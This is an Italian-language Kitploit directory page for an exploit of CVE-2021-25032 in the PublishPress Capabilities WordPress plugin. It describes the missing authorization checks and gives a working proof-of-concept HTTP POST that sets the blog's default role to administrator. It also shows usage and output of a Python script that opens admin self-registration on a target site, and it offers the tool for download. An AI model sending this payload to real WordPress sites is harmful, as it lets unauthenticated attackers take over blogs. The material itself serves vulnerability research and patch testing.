Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-25032 — PublishPress Capabilities < 2.3.1 - Aggiornamento non autenticato di opzioni arbitrarie per la compromissione del blog | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/cve-2021-25032
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneConfigurazione Errata
GitHubrandomrobbiebf/cve-2021-25032

CVE-2021-25032

PublishPress Capabilities < 2.3.1 - Aggiornamento non autenticato di opzioni arbitrarie per la compromissione del blog

Vedi Repository
113 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-25032

PublishPress Capabilities 2.2 - 2.3 - Aggiornamento non autenticato di opzioni arbitrarie per compromettere il blog

Descrizione

Il plugin non dispone di controlli di autorizzazione e CSRF quando aggiorna le impostazioni del plugin tramite l'hook init e non garantisce che le opzioni da aggiornare appartengano al plugin. Di conseguenza, attaccanti non autenticati potrebbero aggiornare opzioni arbitrarie del blog, come il ruolo predefinito, e far sì che qualsiasi nuovo utente registrato ottenga un ruolo di amministratore.

Prova di concetto

root@kitploit:~
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close

page=pp-capabilities-settings&all_options=default_role&default_role=administrator

Esempio di utilizzo dello script

Abilita registrazione e admin

root@kitploit:~
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

Disabilita registrazione e subscriber

root@kitploit:~
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register
Scarica lo strumento